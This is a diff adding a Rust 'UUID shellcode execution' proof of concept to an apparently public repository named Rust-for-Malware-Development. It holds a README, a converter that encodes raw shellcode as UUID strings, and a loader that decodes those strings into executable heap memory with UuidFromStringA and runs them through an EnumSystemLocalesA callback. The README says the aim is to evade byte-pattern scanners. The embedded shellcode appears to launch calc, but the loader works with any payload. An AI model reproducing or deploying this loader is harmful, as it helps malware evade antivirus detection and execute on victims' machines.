Upload

Rust-for-Malware-Development is an collection of proof of concepts with techniques and advanced evasion methods

UUID_Shellcode_Execution/README.md

@@ -0,0 +1,21 @@
+## UUID Shellcode Execution
+
+Welcome to the **UUID_Shellcode_Execution** directory of [`Rust-for-Malware-Development`](https://github.com/Whitecat18/Rust-for-Malware-Development).
+Shellcode disguised as a list of UUID strings slips past simple byte-pattern scanners. The bytes that make it to disk look like ordinary identifiers; the runtime converts them back into executable code with `UuidFromStringA`.
+
+## Sections & Links
+
+- [uuid_format](https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/UUID_Shellcode_Execution/uuid_format):
+  Converter that takes raw shellcode bytes and prints them back out as an array of UUID strings ready to paste into a loader.
+
+- [uuid_shellcode_execution](https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/UUID_Shellcode_Execution/uuid_shellcode_execution):
+  Loader that walks a UUID array, calls `UuidFromStringA` on each entry to decode it straight into a heap-allocated executable region, and jumps to it.
+
+## How to Use
+
+```bash
+git clone https://github.com/Whitecat18/Rust-for-Malware-Development.git
+cd Rust-for-Malware-Development/UUID_Shellcode_Execution
+```
+
+Each sub-folder is its own Cargo project. Build with `cargo build --release`.

UUID_Shellcode_Execution/uuid_format/Cargo.toml

@@ -0,0 +1,7 @@
+[package]
+name = "uuid_format"
+version = "0.1.0"
+edition = "2024"
+
+[dependencies]
+uuid = "1.18.1"

UUID_Shellcode_Execution/uuid_format/src/main.rs

@@ -0,0 +1,46 @@
+/*
+    Shellcode to UUID 
+    @5mukx
+*/
+
+
+use uuid::Uuid;
+
+fn convert_to_uuid(shellcode: &[u8]) -> Vec<String>{
+
+    let mut sc = shellcode.to_vec();
+    if sc.len() % 16 != 0 {
+        println!("[-] shellcode length not multiples of 16 bytes");
+
+        let add = 16 - (sc.len() % 16);
+        println!("\n[*] Modified shellcode length: {}", sc.len() + add);
+        sc.extend(vec![0u8; add]);
+
+    }
+
+    let mut uuids = Vec::new();
+
+    for chunk in sc.chunks(16) {
+        let bytes: [u8; 16] = chunk.try_into().expect("Size should be 16");
+        let uuid = Uuid::from_bytes_le(bytes);
+
+        uuids.push(format!("\"{}\"", uuid.to_string()));
+    }
+
+    uuids
+}
+
+fn main() {
+    let shellcode: [u8; 85] = [
+        0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x29, 0xd4, 0x65, 0x48,
+        0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30,
+        0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20,
+        0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad,
+        0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01,
+        0xfe, 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff, 0xd7,
+    ];
+
+    let uuids = convert_to_uuid(&shellcode);
+
+    println!("{}", uuids.join(",\n"));
+}

UUID_Shellcode_Execution/uuid_shellcode_execution/Cargo.toml

@@ -0,0 +1,25 @@
+[package]
+name = "uuid_shellcode_execution"
+version = "0.1.0"
+edition = "2024"
+authors = ["5mukx"]
+
+[dependencies]
+uuid = "1.18.1"
+
+[dependencies.windows]
+version = "0.62.0"
+features = [
+    "Win32_Foundation",
+    "Win32_System_Diagnostics_Debug",
+    "Win32_Security",
+    "Win32_System_Threading",
+    "Win32_System_Memory",
+    "Win32_System_LibraryLoader",
+    "Win32_System_Kernel",
+    "Win32_System_SystemServices",
+    "Win32_System_WindowsProgramming",
+    "Win32_System_Rpc",
+    "Win32_Globalization",
+    "Win32_System_SystemInformation"
+]

UUID_Shellcode_Execution/uuid_shellcode_execution/src/main.rs

@@ -0,0 +1,87 @@
+/*
+    UUID Shellcode Execution
+    @5mukx
+*/
+
+use std::{ffi::c_void, mem::transmute};
+
+use windows::{
+    Win32::Foundation::HANDLE,
+    Win32::{
+        Foundation::{CloseHandle, GetLastError},
+        Globalization::{EnumSystemLocalesA, LOCALE_ENUMPROCA},
+        System::{
+            Memory::{HEAP_CREATE_ENABLE_EXECUTE, HEAP_FLAGS, HeapAlloc, HeapCreate},
+            Rpc::{RPC_STATUS, UuidFromStringA},
+        },
+    },
+    core::{GUID, PCSTR, Result},
+};
+
+#[macro_export]
+macro_rules! s {
+    ($s:literal) => {
+        $crate::PCSTR::from_raw(::core::concat!($s, '\0').as_ptr())
+    };
+}
+
+fn main() -> Result<()> {
+    let size = 96;
+    let codes = [
+        "685a606a-6163-636c-5459-4829d465488b",
+        "768b4832-4818-768b-1048-ad488b30488b",
+        "5703307e-8b3c-175c-288b-741f204801fe",
+        "241f548b-b70f-172c-8d52-02ad813c0757",
+        "75456e69-8bef-1f74-1c48-01fe8b34ae48",
+        "ff99f701-00d7-0000-0000-000000000000",
+    ];
+
+    unsafe {
+        let heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0)?;
+
+        if heap.is_invalid() {
+            println!("[-] HeapCreate Invalid");
+
+            return Err(GetLastError().into());
+        }
+
+        let heap_addr = HeapAlloc(heap, HEAP_FLAGS(0), size + 0x100);
+
+        if heap_addr.is_null() {
+            println!("[-] Heap Alloc Error !");
+
+            return Err(GetLastError().into());
+        }
+
+        let mut ptr_addr = heap_addr as usize;
+
+        for i in 0..codes.len() {
+            let null_c_str = format!("{}\0", codes[i]);
+            let cstr = PCSTR::from_raw(null_c_str.as_bytes().as_ptr());
+
+            let status = UuidFromStringA(cstr, ptr_addr as *mut GUID);
+
+            if status != RPC_STATUS(0) {
+                if status == RPC_STATUS(1705) {
+                    println!("[-] Invalid UUID String Detected at {:?}", cstr);
+                    std::process::exit(0x1);
+                } else {
+                    println!("[-] Something Went Wrong, Error Code: {:?}", status);
+                }
+            }
+
+            ptr_addr += 16;
+        }
+
+        println!(
+            "[+] Shellcode is successfully placed between {:x?} and {:x?}",
+            heap_addr, ptr_addr
+        );
+
+        EnumSystemLocalesA(transmute::<*mut c_void, LOCALE_ENUMPROCA>(heap_addr), 0)?;
+
+        CloseHandle(HANDLE(heap_addr))?;
+
+        Ok(())
+    }
+}